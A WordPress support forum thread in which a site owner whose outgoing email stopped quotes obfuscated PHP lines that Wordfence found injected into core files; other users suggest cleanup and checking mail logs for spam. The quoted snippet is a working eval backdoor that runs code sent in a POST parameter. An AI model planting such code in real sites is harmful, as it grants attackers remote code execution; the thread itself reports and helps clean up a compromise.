Core Files changes – No outgoing emails – no errors on test..

  • thehoyles

    (@thehoyles)


    11 years, 8 months ago

    All outgoing email has stopped, Gravity Forms submit – Wordfence Test email – email check plugin.

    Wordfence informed me 2 days ago of:
    WordPress core file modified: wp-includes/class-smtp.php
    This was added to the top of the file: $qV=”stop_”;$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}[‘qba245a’])){eval(${$s20}[‘qba245a’]);}?><?php

    WordPress core file modified: wp-includes/class-oembed.php
    <?php $qV=”stop_”;$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}[‘q451c6a’])){eval(${$s20}[‘q451c6a’]);}?><?php

    WordPress core file modified: wp-includes/class-wp-admin-bar.php

    I chose to restore the original version of the file, which doesn’t have the above addition.

    Still nothing being send from Site.. contact form.. etc…
    Even Wordfence not sending test email – no errors.

    I even put back the changed core files! .. still made no difference..

    Suggestions?

    https://wordpress.org/plugins/wordfence/

Viewing 2 replies - 1 through 2 (of 2 total)
  • WFSupport

    (@wfsupport)

    11 years, 8 months ago

    Hi

    At this point I think its safe to say something is wrong past a few files being changed. If it were my site I would follow this guide:

    http://docs.wordfence.com/en/My_site_was_hacked._How_do_I_use_Wordfence_to_clean_it%3F

    Make sure and follow all instructions and keep us updated.

    tim

    R J

    (@tzzel)

    11 years, 5 months ago

    Hi, I wanted to chime in with some info.

    I am investigating a series of spam email scripts for a client’s website. The scripts being injected are similar to yours.

    When core files are changed, it’s either an update or it’s some malicious activity that exploits holes in WordPress or WordPress themes or WordPress plugins. Your situation is likely the latter.

    As for the email issue, you should contact your webhost about it to see if they limited it or stopped it due to violations of service (or something like that). Or are you saavy with control panel or WHM? You should look into your mail queue or mail logs to see if there is a load of spam mails being sent from your domain, because that is what happened to my client (mail was about medical supplies, medicine). For my client, the web host company contacted her and we had to work something out. For you, your webhost may have simply stopped outgoing emails from your mail server IP to prevent spam.

    Just a hypothesis, but I definitely feel this would explain your events.

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘Core Files changes – No outgoing emails – no errors on test..’ is closed to new replies.